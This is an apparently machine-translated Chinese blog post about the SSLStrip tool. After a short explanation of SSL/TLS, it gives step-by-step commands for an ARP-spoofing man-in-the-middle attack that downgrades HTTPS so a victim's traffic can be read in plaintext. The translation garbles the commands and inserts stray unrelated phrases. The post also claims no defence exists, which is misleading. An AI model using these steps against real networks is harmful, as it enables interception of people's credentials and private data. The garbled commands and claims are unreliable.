SSLStrip：監視SSL流量

Moxie Marlinspike出席了 黑帽2009 一個叫做 SSL條， 針對 實際上使所有數據公開傳輸時，使用戶相信他正在使用SSL加密的網站上。 此外，SSLStrip還會欺騙Web服務器，儘管站點仍在繼續運行，但它繞過了其所謂的加密功能。 據我所知，這種方法仍然有效。 威脅仍然存在，我們都受到了威脅。 布哈哈哈...

讓我們從基礎開始：SSL到底是什麼？

對於那些不知道的人，請使用安全套接字層（SSL; 安全套接字層協議）及其後續的傳輸層安全性（TLS；傳輸層安全性）是 在網絡上提供安全通信的加密協議，通常是互聯網。

SSL在諸如HTTP，SMTP，NNTP之類的應用程序協議之間的層上運行，並通過TCP傳輸協議運行，該協議是TCP / IP協議家族的一部分。 儘管它可以為使用信任連接的任何協議（例如TCP）提供安全性，但在大多數情況下，它與HTTP一起使用以形成HTTPS。 HTTPS 用於保護Web應用程序的萬維網頁面的安全。 電子商務，使用公共密鑰證書來驗證端點的身份。

SSLStrip…色情影片回到了“讓我們使用Linux”嗎？

的操作 SSL條 很簡單， 替換所有HTTPS請求 HTTP來訪問網頁，然後執行MITM（攻擊«中間人«）在服務器和客戶端之間。 這個想法是受害者和攻擊者通過HTTP進行通信，而攻擊者和服務器通過HTTPS與服務器的證書進行通信。 因此，攻擊者可以看到受害者的所有明文流量。

這是一個視頻，我們可以看到這個出色的工具的工作原理。

如何使用SSLStrip

1。 - 配置IP轉發

迴聲1> / proc / sys / net / ipv4 / ip_forward

2。 - 在兩台計算機之間執行ARP MITM攻擊：

arpspoof -i eth0 -t VICTIMA主機

3。 - 使用iptables重定向流量：

iptables -t nat -A路由-p tcp –目標端口80 -j重定向–至端口8080

4。 - 在使用的端口上啟動SSLStrip

python sslstrip.py -w文件

如何保護自己免受SSLStrip攻擊？

這是最美麗，最可怕的： 這不可以.

如Moxie（他的 視頻 不會浪費超過69分鐘的時間）唯一可行的解​​決方案是對所有HTTP連接進行加密，也就是說，無論頁面或服務如何，在其所有實例中都將通用的和通用的“ HTTP”替換為“ HTTPS” 。 正如Moxie所說：依賴不安全協議的安全協議是一個問題“。

作為用戶，您至少可以做什麼？ 減少被攻擊的機會？ 以偏執的方式驗證每個頁面前面是否都有一個“ https”被洩露，或者如果安裝了Firefox用戶 NoScript的 並在所有頁面上強制HTTPS連接。 但是，這只會使效果最小化，而不能否定效果。

來源： 龍jar & 莫克西